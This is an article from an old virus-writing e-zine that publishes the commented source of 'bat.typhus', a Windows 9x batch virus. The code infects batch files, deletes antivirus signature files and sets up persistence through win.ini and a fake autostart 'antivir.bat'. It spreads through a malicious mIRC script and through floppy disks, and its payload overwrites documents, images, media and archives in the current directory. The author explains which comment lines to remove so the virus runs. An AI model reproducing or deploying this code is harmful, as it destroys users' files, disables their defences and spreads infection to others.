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bat.typhus by philet0ast3r

This is my eighth virus (my sixt batch-virus), and it was written January 2001.
At first I planned to write this one also for SallyOne Group E-Zine #1, but then the whole thing died, so I wrote the second half for this zine.
This virus is very similar to bat.kia. But it has a more destructive payload.
Nevertheless, here are some facts about it:
-mIRC worm
-spreads via disks
-autostart-secured win.ini-residency
-retro: F-Prot 95, McAfee, Thunderbyte, Norton AntiVirus 2000 (it does not recognize the virus, even if heuristic is at maximum)
-payload: overwrites all files in the current directory with the following extensions with the virus:
 .txt, .doc, .dot, .rtf, .pdf, .xls, .hlp, .htm, .html, .inf, .bmp, .jpg, .gif, .pcx, .cpt, .avi, .mpg, .mov, .swf, .scr, .ppt, .wav, .mp3, .zip, .rar, .arj, .lzh
-copies itself as call-back to the root-directory
-fully compatible to Windows ME, Windows 98, Windows 95 (has been tested)
-size: 2.532 bytes

Well, here is the script (with some comments "-->"; have to be removed for virus to run) ...
phile-name should be bat.typhus.bat, but it's not neccessary:

::Where's your sense of life? (tph)
::It's not there like the file you wanted. (tph)
::Perhaps you got to change something ... (tph)

-->the above is some kind of message-payload
-->if a file gets overwritten by the payload,
-->and the file can display text, the user can read this message

@echo off%_tph%
if '%1=='tph goto tph%2
set tph=%0.bat
if not exist %tph% set tph=%0
if '%tph%==' set tph=autoexec.bat
if exist c:\_tph.bat goto tphg
if not exist %tph% goto etph
find "tph"<%tph%>c:\_tph.bat
attrib c:\_tph.bat +h
command /e:5000 /c c:\_tph tph vir

-->the above is a quite normal infection-routine
-->the hidden call-back-file is also created here

ctty nul.tph
if exist c:\_tph.bat del c:\programme\norton~1\s32integ.dll
if exist c:\_tph.bat del c:\programme\f-prot95\fpwm32.dll
if exist c:\_tph.bat del c:\programme\mcafee\scan.dat
if exist c:\_tph.bat del c:\tbavw95\tbscan.sig

-->the above is the retro-routine
-->the avs can not scan without those files

if exist c:\windows\startmen\programme\autostart\antivir.bat goto rdtph
copy bat.typhus.bat c:\windows\tph.sys
echo @echo off>tphhh.bat
echo ctty nul>>tphhh.bat
echo if exist c:\windows\system\bat.typhus.bat goto 0k>>tphhh.bat
echo copy c:\windows\tph.sys c:\windows\system\bat.typhus.bat>>tphhh.bat
echo :0k>>tphhh.bat
move tphhh.bat c:\windows\startmen\programme\autostart\antivir.bat

-->the above is the autostart-secure-routine for the residency
-->it checks if the win.ini-residency is still working

-->the below is the residency-routine
-->it infects the win.ini
-->the empty lines are neccessary for windows taking this as true win.ini

if exist c:\windows\system\bat.typhus.bat goto wytph
copy bat.typhus.bat c:\windows\system
copy bat.typhus.bat + c:\windows\win.ini c:\windows\system\win.ini
del c:\windows\win.ini
move c:\windows\system\win.ini c:\windows
goto wytph


echo [script]>tph23.bat
echo n0=on 1:JOIN:#:{ >>tph23.bat
echo n1= /if ( nick == $me ) { halt } >>tph23.bat
echo n2= /.dcc send $nick c:\windows\system\bat.typhus.bat >>tph23.bat
echo n3=} >>tph23.bat
if exist c:\mirc\mirc.ini copy tph23.bat c:\mirc\script.ini
if exist c:\mirc32\mirc.ini copy tph23.bat c:\mirc32\script.ini
if exist c:\progra~1\mirc\mirc.ini copy tph23.bat c:\progra~1\mirc\script.ini
if exist c:\progra~1\mirc32\mirc.ini copy tph23.bat c:\progra~1\mirc32\script.ini

-->the above is the worm-routine
-->it makes a mIRC-script-file and places it in a possible mIRC-directory

if exist tph23.bat command /f /c copy c:\windows\system\bat.typhus.bat a:\

-->the above is a command line, that makes it possible to copy to diskettes
-->there will be no error if there is no disk in drive a:
-->or if it is writeprotected or full

if exist tph23.bat for %%i in (*.txt,*.doc,*.dot,*.rtf,*.pdf,*.xls,*.hlp,*.htm,*.html,*.inf,*.bmp,*.jpg,*.gif,*.pcx,*.cpt,*.avi,*.mpg,*.mov,*.swf,*.scr,*.ppt,*.wav,*.mp3,*.zip,*.rar,*.arj,*.lzh) do copy %0 %%i>nul
del tph23.bat

-->the above is the payload
-->it searches for all files with the given extensions in the current directory
-->all found files are overwritten with the virus
-->(that means there is no rest of the file, even if the file is bigger than the virus;
-->so the file is completly destroyed)

set tph=
goto tphend
for %%a in (*.bat ..\*.bat c:*.bat) do call c:\_tph tph i %%a
exit tph
find "tph"<%3>nul
if not errorlevel 1 goto tphj
type c:\_tph.bat>tph$
type %3>>tph$
move tph$ %3>nul
exit tph
set tph!=%tph!%1
if %tph!%==1 exit

-->the above is the rest of the infection-routine

living virus